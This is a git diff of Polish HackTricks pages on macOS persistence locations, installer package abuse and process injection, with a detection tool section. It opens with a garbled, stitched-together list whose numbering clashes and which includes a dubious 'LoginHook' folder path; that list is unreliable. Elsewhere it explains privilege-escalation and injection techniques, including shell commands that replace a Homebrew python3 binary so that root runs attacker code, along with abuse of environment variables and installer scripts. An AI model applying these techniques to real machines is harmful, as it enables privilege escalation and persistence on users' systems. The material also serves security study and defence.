4. **Login Items**: Aplikacje uruchamiane po zalogowaniu do konta użytkownika. Można je znaleźć w Preferencjach Systemowych w sekcji "Users & Groups".
3. **Folder LaunchDaemons**: Znajduje się w `/Library/LaunchDaemons`. Podobnie jak w przypadku LaunchAgents, pliki w tym folderze uruchamiają się przy każdym uruchomieniu systemu.
5. **Cron Jobs**: Zadania zaplanowane do wykonania o określonych porach. Można je sprawdzić za pomocą polecenia `crontab -l`.
4. **Folder StartupItems**: Znajduje się w `/Library/StartupItems`. Jest to stary sposób dodawania aplikacji do automatycznego uruchamiania i nie jest zalecany w nowszych wersjach macOS.
6. **XPC Services**: Usługi komunikujące się z aplikacjami w tle. Informacje o nich znajdują się w plikach `.xpc` w katalogach aplikacji.
5. **Cron Jobs**: Można je skonfigurować za pomocą `crontab -e` w terminalu. Cron Jobs pozwalają na uruchamianie poleceń o określonych godzinach, co może być wykorzystane do automatycznego uruchamiania aplikacji.
6. **Folder LoginHook**: Znajduje się w `/Library/Security/SecurityAgentPlugins/LoginHook`. Można tutaj umieścić skrypt, który zostanie wykonany po zalogowaniu.
Pamiętaj, że kontrola tych lokalizacji jest istotna dla zapewnienia bezpieczeństwa systemu macOS. Złośliwe aplikacje mogą próbować ukryć się w tych miejscach, aby uruchamiać się automatycznie i działać w tle. Dlatego regularne sprawdzanie i monitorowanie tych lokalizacji jest zalecane.
{% endtab %}
Pamiętaj, że kontrola i monitorowanie tych automatycznych startów usług może pomóc w zabezpieczeniu systemu macOS.{% endtab %}
```bash
#!/bin/sh
. /etc/rc.common
@ -1540,7 +1534,7 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla dalszych informacji sprawdź opis
Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla więcej informacji sprawdź opis
{% endhint %}
Opis: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
@ -1568,7 +1562,7 @@ XQuartz **nie jest już instalowany w macOS**, więc jeśli chcesz uzyskać wię
### ~~kext~~
{% hint style="danger" %}
Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważał jako ucieczkę z piaskownicy ani do trwałości (chyba że masz exploit)
Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważał jako sposób na ucieczkę z piaskownicy ani na trwałość (chyba że masz exploit)
{% endhint %}
#### Lokalizacja
@ -1588,7 +1582,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Aby uzyskać więcej informacji na temat [**rozszerzeń jądra, sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
Dla więcej informacji na temat [**rozszerzeń jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@ -1601,7 +1595,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.git
#### Opis i eksploatacja
Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego pliku binarnego, eksponując usługę XPC... problem polegał na tym, że plik binarny nie istniał, więc można było umieścić tam coś własnego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój plik binarny.
Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego pliku binarnego, eksponując usługę XPC... problem polegał na tym, że plik binarny nie istniał, więc można było umieścić tam coś innego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój plik binarny.
Nie mogę już znaleźć tego w moim macOS.
@ -1613,7 +1607,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.git
* **`/Library/Preferences/Xsan/.xsanrc`**
* Wymagane uprawnienia roota
* **Wywołanie**: Gdy usługa jest uruchamiana (rzadko)
* **Wyzwalacz**: Gdy usługa jest uruchamiana (rzadko)
#### Opis i eksploatacja
@ -1725,7 +1719,7 @@ esac
<details>
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:

View file

@ -1,34 +1,36 @@
# Wykorzystywanie instalatorów macOS
# Nadużycia instalatorów macOS
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
## Podstawowe informacje o plikach Pkg
## Podstawowe informacje o Pkg
Plik instalatora macOS (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, czego potrzebuje kawałek oprogramowania**, aby zainstalować i działać poprawnie.
Plik instalatora macOS (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, czego potrzebuje** kawałek oprogramowania do poprawnej instalacji i działania.
Sam plik pakietu to archiwum, które zawiera **hierarchię plików i katalogów, które zostaną zainstalowane na docelowym** komputerze. Może również zawierać **skrypty**, które wykonują zadania przed i po instalacji, takie jak konfigurowanie plików konfiguracyjnych lub usuwanie starych wersji oprogramowania.
Sam plik pakietu to archiwum, które przechowuje **hierarchię plików i katalogów, które zostaną zainstalowane na docelowym** komputerze. Może również zawierać **skrypty** do wykonywania zadań przed i po instalacji, takie jak konfigurowanie plików konfiguracyjnych lub czyszczenie starych wersji oprogramowania.
### Hierarchia
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
* **Distribution (xml)**: Dostosowania (tytuł, tekst powitalny...) i skrypt/sprawdzanie instalacji
* **Dystrybucja (xml)**: Dostosowania (tytuł, tekst powitalny...) i skrypt/sprawdzanie instalacji
* **PackageInfo (xml)**: Informacje, wymagania instalacji, lokalizacja instalacji, ścieżki do skryptów do uruchomienia
* **Bill of materials (bom)**: Lista plików do zainstalowania, aktualizacji lub usunięcia wraz z uprawnieniami do plików
* **Payload (archiwum CPIO skompresowane gzipem)**: Pliki do zainstalowania w `install-location` z PackageInfo
* **Skrypty (archiwum CPIO skompresowane gzipem)**: Skrypty przed i po instalacji oraz inne zasoby wyodrębnione do tymczasowego katalogu w celu wykonania.
* **Spis materiałów (bom)**: Lista plików do zainstalowania, aktualizacji lub usunięcia z uprawnieniami do plików
* **Zawartość (archiwum CPIO gzip)**: Pliki do zainstalowania w `install-location` z PackageInfo
* **Skrypty (archiwum CPIO gzip)**: Skrypty przed i po instalacji oraz więcej zasobów wypakowanych do tymczasowego katalogu do wykonania.
### Dekompresja
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@ -42,49 +44,49 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
Aby zwizualizować zawartość instalatora bez ręcznego dekompresowania, można również skorzystać z darmowego narzędzia [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
## Podstawowe informacje o plikach DMG
Pliki DMG, czyli Apple Disk Images, to format pliku używany przez system macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zwykle skompresowane i czasami zaszyfrowane. Gdy otworzysz plik DMG, macOS **montuje go jak fizyczny dysk**, umożliwiając dostęp do jego zawartości.
Pliki DMG, czyli Obrazy Dysków Apple, to format pliku używany przez macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zazwyczaj skompresowane i czasami zaszyfrowane. Gdy otworzysz plik DMG, macOS **montuje go jakby był fizycznym dyskiem**, pozwalając na dostęp do jego zawartości.
### Hierarchia
<figure><img src="../../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
Hierarchia pliku DMG może być różna w zależności od zawartości. Jednak w przypadku plików DMG aplikacji, zazwyczaj ma ona następującą strukturę:
Hierarchia pliku DMG może być różna w zależności od zawartości. Jednakże, dla plików DMG aplikacji, zazwyczaj podąża ona za tą strukturą:
* Poziom główny: To jest korzeń obrazu dysku. Zazwyczaj zawiera aplikację i ewentualnie odnośnik do folderu Applications.
* Aplikacja (.app): To jest właściwa aplikacja. W systemie macOS aplikacja to zazwyczaj paczka zawierająca wiele pojedynczych plików i folderów, które tworzą aplikację.
* Odnośnik do aplikacji: To jest skrót do folderu Applications w systemie macOS. Jego celem jest ułatwienie instalacji aplikacji. Możesz przeciągnąć plik .app na ten skrót, aby zainstalować aplikację.
* Poziom Główny: To jest główny katalog obrazu dysku. Zazwyczaj zawiera aplikację i ewentualnie odnośnik do folderu Aplikacje.
* Aplikacja (.app): To jest właściwa aplikacja. W macOS aplikacja to zazwyczaj pakiet zawierający wiele indywidualnych plików i folderów tworzących aplikację.
* Odnośnik do Aplikacji: To jest skrót do folderu Aplikacje w macOS. Ma to ułatwić instalację aplikacji. Możesz przeciągnąć plik .app na ten skrót, aby zainstalować aplikację.
## Eskalacja uprawnień poprzez nadużycie plików pkg
## Eskalacja uprawnień poprzez nadużycie pkg
### Wykonywanie z publicznych katalogów
Jeśli skrypt instalacyjny przed lub po instalacji jest na przykład wykonywany z **`/var/tmp/Installerutil`**, atakujący może kontrolować ten skrypt i wykorzystać go do eskalacji uprawnień za każdym razem, gdy zostanie wykonany. Innym podobnym przykładem jest:
Jeśli skrypt instalacyjny przed lub po instalacji wykonuje się na przykład z **`/var/tmp/Installerutil`**, a atakujący może kontrolować ten skrypt, może on eskalować uprawnienia za każdym razem, gdy zostanie wykonany. Lub inny podobny przykład:
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
### AuthorizationExecuteWithPrivileges
Jest to [publiczna funkcja](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), którą wiele programów instalacyjnych i aktualizatorów wywołuje, aby **wykonać coś jako root**. Ta funkcja przyjmuje jako parametr **ścieżkę** do **pliku**, który ma zostać **wykonany**, jednak jeśli atakujący może **zmodyfikować** ten plik, będzie mógł **nadużyć** jego wykonania jako root do **eskalacji uprawnień**.
Jest to [publiczna funkcja](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), którą kilka instalatorów i aktualizatorów wywołuje, aby **wykonać coś jako root**. Ta funkcja przyjmuje **ścieżkę** do **pliku**, który ma być **wykonany** jako parametr, jednakże, jeśli atakujący mógłby **zmodyfikować** ten plik, będzie mógł **nadużyć** jego wykonanie jako root do **eskalacji uprawnień**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
Aby uzyskać więcej informacji, sprawdź tę prezentację: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
### Wykonanie poprzez montowanie
Jeśli instalator zapisuje pliki w `/tmp/fixedname/bla/bla`, możliwe jest **utworzenie montażu** nad `/tmp/fixedname` bez właściciela, dzięki czemu można **modyfikować dowolny plik podczas instalacji** w celu nadużycia procesu instalacji.
Jeśli instalator zapisuje do `/tmp/fixedname/bla/bla`, można **utworzyć montowanie** nad `/tmp/fixedname` bez właścicieli, dzięki czemu można **modyfikować dowolny plik podczas instalacji**, aby nadużyć procesu instalacji.
Przykładem tego jest **CVE-2021-26089**, który umożliwiał **nadpisanie skryptu okresowego**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z prezentacją: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
Przykładem tego jest **CVE-2021-26089**, który zdołał **nadpisać skrypt okresowy**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z prezentacją: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg jako złośliwe oprogramowanie
### Pusta ładowność
### Pusta ładunek
Możliwe jest wygenerowanie pliku **`.pkg`** zawierającego **skrypty przed i po instalacji** bez żadnej ładowności.
Możliwe jest po prostu wygenerowanie pliku **`.pkg`** z **skryptami przed i po instalacji** bez żadnego ładunku.
### JS w pliku Distribution xml
@ -92,21 +94,7 @@ Możliwe jest dodanie tagów **`<script>`** w pliku **distribution xml** pakietu
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
## Odwołania
## Odnośniki
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Uzyskaj [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**The PEASS Family**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [**DEF CON 27 - Rozpakowywanie Pkgs - Spojrzenie wewnątrz pakietów instalacyjnych Macos i powszechne błędy związane z bezpieczeństwem**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Dziki świat instalatorów macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)

View file

@ -1,4 +1,4 @@
# Nadużywanie procesów w systemie macOS
# Nadużycie procesów w macOS
<details>
@ -6,43 +6,43 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Nadużywanie procesów w systemie macOS
## Nadużycie procesów w macOS
System macOS, podobnie jak każdy inny system operacyjny, zapewnia różne metody i mechanizmy **interakcji, komunikacji i udostępniania danych** między procesami. Choć te techniki są niezbędne dla efektywnego funkcjonowania systemu, mogą być również wykorzystywane przez cyberprzestępców do **wykonywania szkodliwych działań**.
macOS, podobnie jak każdy inny system operacyjny, zapewnia różne metody i mechanizmy, dzięki którym **procesy mogą ze sobą współdziałać, komunikować się i dzielić danymi**. Choć te techniki są niezbędne dla efektywnego funkcjonowania systemu, mogą być również wykorzystywane przez sprawców zagrożeń do **wykonywania działań o charakterze złośliwym**.
### Wstrzykiwanie bibliotek
### Wstrzykiwanie Bibliotek
Wstrzykiwanie bibliotek to technika, w której atakujący **wymusza na procesie załadowanie złośliwej biblioteki**. Po wstrzyknięciu biblioteka działa w kontekście docelowego procesu, zapewniając atakującemu takie same uprawnienia i dostęp jak proces.
Wstrzykiwanie Bibliotek to technika, w której atakujący **zmusza proces do załadowania złośliwej biblioteki**. Po wstrzyknięciu biblioteka działa w kontekście docelowego procesu, zapewniając atakującemu takie same uprawnienia i dostęp jak proces.
{% content-ref url="macos-library-injection/" %}
[macos-library-injection](macos-library-injection/)
{% endcontent-ref %}
### Hookowanie funkcji
### Hacowanie Funkcji
Hookowanie funkcji polega na **przechwytywaniu wywołań funkcji** lub wiadomości w kodzie oprogramowania. Poprzez hookowanie funkcji atakujący może **modyfikować zachowanie** procesu, obserwować poufne dane lub nawet przejąć kontrolę nad przebiegiem wykonywania.
Hacowanie Funkcji polega na **przechwytywaniu wywołań funkcji** lub komunikatów w kodzie oprogramowania. Poprzez hacowanie funkcji atakujący może **modyfikować zachowanie** procesu, obserwować wrażliwe dane, a nawet uzyskać kontrolę nad przepływem wykonania.
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}
### Komunikacja międzyprocesowa
### Komunikacja Międzyprocesowa
Komunikacja międzyprocesowa (IPC) odnosi się do różnych metod, za pomocą których oddzielne procesy **udostępniają i wymieniają dane**. Choć IPC jest niezbędne dla wielu legalnych aplikacji, może być również nadużywane do podważania izolacji procesów, wycieku poufnych informacji lub wykonywania nieautoryzowanych działań.
Komunikacja Międzyprocesowa (IPC) odnosi się do różnych metod, za pomocą których oddzielne procesy **dzielą się i wymieniają danymi**. Choć IPC jest fundamentalny dla wielu legalnych aplikacji, może być również nadużywany do omijania izolacji procesów, ujawniania wrażliwych informacji lub wykonywania nieautoryzowanych działań.
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Wstrzykiwanie aplikacji Electron
### Wstrzykiwanie Aplikacji Electron
Aplikacje Electron uruchamiane z określonymi zmiennymi środowiskowymi mogą być podatne na wstrzykiwanie procesów:
@ -50,33 +50,41 @@ Aplikacje Electron uruchamiane z określonymi zmiennymi środowiskowymi mogą by
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
{% endcontent-ref %}
### Brudne pliki NIB
### Wstrzykiwanie Chromium
Pliki NIB **definiują elementy interfejsu użytkownika (UI)** i ich interakcje w ramach aplikacji. Jednak mogą one **wykonywać dowolne polecenia** i **Gatekeeper nie powstrzymuje** już uruchomionej aplikacji przed ponownym uruchomieniem, jeśli plik NIB zostanie zmodyfikowany. Dlatego mogą być one wykorzystane do wykonania dowolnych programów:
Możliwe jest użycie flag `--load-extension` i `--use-fake-ui-for-media-stream` do przeprowadzenia **ataków typu man in the browser**, umożliwiających kradzież naciśnięć klawiszy, ruchu sieciowego, plików cookie, wstrzykiwanie skryptów na stronach...:
{% content-ref url="macos-chromium-injection.md" %}
[macos-chromium-injection.md](macos-chromium-injection.md)
{% endcontent-ref %}
### Brudne NIB
Pliki NIB **definiują elementy interfejsu użytkownika (UI)** i ich interakcje w ramach aplikacji. Jednak mogą **wykonywać dowolne polecenia** i **Gatekeeper nie blokuje** już uruchomionej aplikacji przed ponownym uruchomieniem, jeśli plik NIB zostanie zmodyfikowany. Dlatego mogą być wykorzystane do uruchamiania dowolnych programów w celu wykonania dowolnych poleceń:
{% content-ref url="macos-dirty-nib.md" %}
[macos-dirty-nib.md](macos-dirty-nib.md)
{% endcontent-ref %}
### Wstrzykiwanie aplikacji Java
### Wstrzykiwanie Aplikacji Java
Można nadużyć pewnych możliwości języka Java (takich jak zmienna środowiskowa **`_JAVA_OPTS`**) do wykonania przez aplikację Java **dowolnego kodu/polecenia**.
Możliwe jest nadużycie pewnych możliwości Javy (takich jak zmienna środowiskowa **`_JAVA_OPTS`**) do zmuszenia aplikacji Javy do wykonania **dowolnego kodu/polecenia**.
{% content-ref url="macos-java-apps-injection.md" %}
[macos-java-apps-injection.md](macos-java-apps-injection.md)
{% endcontent-ref %}
### Wstrzykiwanie aplikacji .Net
### Wstrzykiwanie Aplikacji .Net
Można wstrzykiwać kod do aplikacji .Net, **nadużywając funkcjonalności debugowania .Net** (niechronionych przez zabezpieczenia macOS, takie jak utwardzanie czasu wykonania).
Możliwe jest wstrzykiwanie kodu do aplikacji .Net poprzez **nadużycie funkcjonalności debugowania .Net** (niechronionej przez zabezpieczenia macOS, takie jak utwardzanie czasu wykonania).
{% content-ref url="macos-.net-applications-injection.md" %}
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
{% endcontent-ref %}
### Wstrzykiwanie Perl
### Wstrzykiwanie Perla
Sprawdź różne opcje, aby skrypt Perl wykonywał dowolny kod:
Sprawdź różne opcje, aby skrypt Perl wykonał dowolny kod w:
{% content-ref url="macos-perl-applications-injection.md" %}
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
@ -84,7 +92,7 @@ Sprawdź różne opcje, aby skrypt Perl wykonywał dowolny kod:
### Wstrzykiwanie Ruby
Można również nadużywać zmiennych środowiskowych Ruby do wykonania dowolnego kodu w skryptach:
Możliwe jest również nadużycie zmiennych środowiskowych Ruby do wykonania dowolnych skryptów:
{% content-ref url="macos-ruby-applications-injection.md" %}
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
@ -92,16 +100,16 @@ Można również nadużywać zmiennych środowiskowych Ruby do wykonania dowolne
### Wstrzykiwanie Pythona
Jeśli zmienna środowiskowa **`PYTHONINSPECT`** jest ustawiona, proces Pythona przejdzie do interaktywnego interfejsu wiersza poleceń Pythona po zakończeniu działania. Można również użyć **`PYTHONSTARTUP`**, aby wskazać skrypt Pythona do wykonania na początku sesji interaktywnej.\
Jeśli zmienna środowiskowa **`PYTHONINSPECT`** jest ustawiona, proces Pythona przejdzie do interaktywnej konsoli Pythona po zakończeniu. Można również użyć **`PYTHONSTARTUP`** do wskazania skryptu Pythona do wykonania na początku sesji interaktywnej.\
Należy jednak zauważyć, że skrypt **`PYTHONSTARTUP`** nie zostanie wykonany, gdy **`PYTHONINSPECT`** tworzy sesję interaktywną.
Inne zmienne środowiskowe, takie jak **`PYTHONPATH`** i **`PYTHONHOME`**, mogą również być przydatne do wykonania dowolnego kodu w poleceniu Pythona.
Inne zmienne środowiskowe, takie jak **`PYTHONPATH`** i **`PYTHONHOME`**, mogą również być przydatne do wykonania dowolnego kodu za pomocą polecenia Pythona.
Należy zauważyć, że pliki wykonywalne skompilowane za pomocą **`pyinstaller`** nie będą korzystać z tych zmiennych środowiskowych, nawet jeśli są uruchamiane za pomocą osadzonego Pythona.
Należy pamiętać, że pliki wykonywalne skompilowane za pomocą **`pyinstaller`** nie będą korzystać z tych zmiennych środowiskowych, nawet jeśli są uruchamiane za pomocą osadzonego Pythona.
{% hint style="danger" %}
Ogólnie rzecz biorąc, nie udało mi się znaleźć sposobu na wykonanie dowolnego kodu w Pythonie, nadużywając zmiennych środowiskowych.\
Jednak większość osób instaluje Pythona za pomocą **Hombrew**, który instaluje Pythona w **zapisywalnej lokalizacji** dla domyślnego użytkownika administratora. Można go przejąć za pomocą czegoś takiego jak:
Ogólnie rzecz biorąc, nie udało mi się znaleźć sposobu na zmuszenie Pythona do wykonania dowolnego kodu, nadużywając zmiennych środowiskowych.\
Jednak większość osób instaluje Pythona za pomocą **Hombrew**, który zainstaluje Pythona w **zapisywalnej lokalizacji** dla domyślnego użytkownika admina. Możesz go przejąć, wykonując coś w stylu:
```bash
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
cat > /opt/homebrew/bin/python3 <<EOF
@ -116,22 +124,22 @@ Nawet **root** uruchomi ten kod podczas uruchamiania pythona.
## Wykrywanie
### Shield
### Tarcza
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) to otwarte oprogramowanie, które może **wykrywać i blokować działania związane z wstrzykiwaniem procesów**:
[**Tarcza**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) to aplikacja typu open source, która może **wykrywać i blokować działania związane z wstrzykiwaniem procesów**:
* Korzystanie z **Zmiennych Środowiskowych**: Monitoruje obecność dowolnej z następujących zmiennych środowiskowych: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** i **`ELECTRON_RUN_AS_NODE`**
* Korzystanie z wywołań **`task_for_pid`**: Służy do znalezienia momentu, gdy jeden proces chce uzyskać **port zadania innego procesu**, co umożliwia wstrzyknięcie kodu do tego procesu.
* Parametry aplikacji **Electron**: Ktoś może użyć argumentów wiersza poleceń **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`** do uruchomienia aplikacji Electron w trybie debugowania i wstrzyknięcia do niej kodu.
* Korzystanie z **symlinków** lub **hardlinków**: Najczęstszym nadużyciem jest umieszczenie linku z uprawnieniami naszego użytkownika i skierowanie go do lokalizacji o wyższych uprawnieniach. Wykrywanie jest bardzo proste zarówno dla hardlinków, jak i symlinków. Jeśli proces tworzący link ma **inne poziomy uprawnień** niż plik docelowy, tworzymy **alert**. Niestety w przypadku symlinków blokowanie jest niemożliwe, ponieważ nie mamy informacji o miejscu docelowym linku przed jego utworzeniem. Jest to ograniczenie frameworka EndpointSecuriy firmy Apple.
* Korzystanie z **Zmiennych Środowiskowych**: Będzie monitorować obecność dowolnej z następujących zmiennych środowiskowych: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** oraz **`ELECTRON_RUN_AS_NODE`**
* Korzystanie z wywołań **`task_for_pid`**: Aby znaleźć, kiedy jeden proces chce uzyskać **port zadania innego**, co pozwala na wstrzyknięcie kodu do procesu.
* **Parametry aplikacji Electron**: Ktoś może użyć argumentów wiersza poleceń **`--inspect`**, **`--inspect-brk`** oraz **`--remote-debugging-port`** do uruchomienia aplikacji Electron w trybie debugowania, co umożliwia wstrzyknięcie kodu do niej.
* Korzystanie z **symlinków** lub **hardlinków**: Zwykle najczęstszym nadużyciem jest **umieszczenie linku z uprawnieniami naszego użytkownika** i **skierowanie go do lokalizacji z wyższymi uprawnieniami**. Wykrycie jest bardzo proste zarówno dla hardlinków, jak i symlinków. Jeśli proces tworzący link ma **inne poziomy uprawnień** niż plik docelowy, tworzymy **alert**. Niestety w przypadku symlinków blokowanie nie jest możliwe, ponieważ nie mamy informacji o miejscu docelowym linku przed jego utworzeniem. Jest to ograniczenie frameworka EndpointSecuriy firmy Apple.
### Wywołania dokonywane przez inne procesy
